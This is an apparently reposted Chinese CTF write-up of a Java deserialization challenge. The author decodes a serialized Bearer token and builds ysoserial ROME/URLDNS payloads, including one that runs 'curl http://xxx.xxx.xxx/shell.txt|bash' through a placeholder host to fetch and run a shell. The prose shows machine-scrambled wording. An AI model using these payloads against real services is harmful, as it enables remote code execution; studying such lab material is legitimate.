前言
现在算是取得了很大的希望。但此题必有玄机。
这就是朱雀组31解的题,tqllllllllllll。
下面是现在的功效,然则我照样没能拿到flag……菜,枯了。
进入正题
下方截图算是hint , 固然对于没有用过swagger-ui的 ,照样不算hint的叭(我都是问的大佬)。
他是一个测试接口,我原本分享了swagger-ui的链接来着,然则现在谁人链接好像被接见炸了。
(我在文章中已经把链接删了……考虑不周,复现的时刻就只能看着没有回显的靶机,炒鸡难受)。
由于就是套的swagger-ui,以是他的路由都不会变,本题只给出一个接口的缘故原由八成就是这个意思。
我就删了,如下是我们获得的mysql字段的详细作用。
/user/login,登录获得token
先给出那时测试的截图(大佬截给我的)。
流程的剖析:
此login接口用来模拟登录,登录乐成后可以获得一串data数据。部门数据可参考上图箭头所指。
下面做题得时刻,用post传参的截图(看到登录乐成的时刻,照样很开心的)。
可以参考这段json数据。
{
"data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",
"msg": "登录乐成",
"status": 2,
"timestamps": 1589814544730
}
对token数据举行处置剖析
第一步,提取出序列化的数据
data对应的一串字符是Bearer token。
这串数据需要先base64,然后转成16进制。不要复制出来base64的内容再转16进制,直接用python2一步到位。
#此处使用python2
import base64
a = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
b = base64.b64decode(a).encode('hex')
print(b)
我一下昼看了许多文章,有两点很主要。
下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者若是以aced开头,那么他就是这一段java序列化的16进制。
我的部门运行效果参考(aced开头)。
第二步,剖析序列化数据
用到工具SerializationDumper来剖析数据
用法:
java -jar SerializationDumper-[*version*].jar [*16进制数据*)]
输出的详细的字段代表的内容,一知半解也就不掺和了 。
(运行效果截图)
最下方有这样一段包含着admin字段,它就相当于保存着实质信息的数据块。
admin就是用户名。(我是这么以为)
寻找反序列化注入点
我们上一步已经大致剖析了data数据。
理一下思绪:
登录—》获得token—》token中data的数据是一段间接的序列化字段。
这时刻,
当我把序列化的token字段作为Authorization去印证这个UI的user/current接口。
他也会显示乐成登录。
这说明,他会在current接口举行反序列化!
那么我们可以组织合适的序列化内容来组织getshell。
若何组织
java反序列化工具ysoserial
ysoserial用法:以ROME和URLDNS举例
即用ROME(我现在的认知就是他每一种都有差别的作用,好比rome可以下令执行,URLDNS可以举行dns回显)。
java -jar ysoserial-master.jar ROME "calc.exe" > h3zh1.bin
java -jar ysoserial-master.jar URLDNS "http://xxx" > h3zh1.bin
然后要对他们举行数据处置。
下方程序python2或python3都可。
import base64
file = open("h3zh1.bin","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
#print("Bearer "+ba) #可以解注释此段,并注释上一条print,便于快速测试
file.close()
注重检查输出的内容啊是否是rO0AB,若是差的许多,那么往回去看看叭。
脑壳疼
我弹shell的时刻没有乐成,很难受。测试了好几个都没成,难受死了。
我的废柴payload:
java -jar ysoserial-master.jar ROME "curl http://xxx.xxx.xxx/shell.txt|bash" > h3zh1.bin
最近的一步就是可以检测到curl的执行。又卡住了,不外差不多也算完结了吧。
眼睁睁看着三位大佬一个个把题Kill了,自闭了,早上起来了去讨教他们叭……。
睡觉。。。。。。。
参考链接:
原文链接:https://www.cnblogs.com/h3zh1/p/12914439.html
本站声明:网站内容来源于网络,若有侵权,请联系我们,我们将及时处置。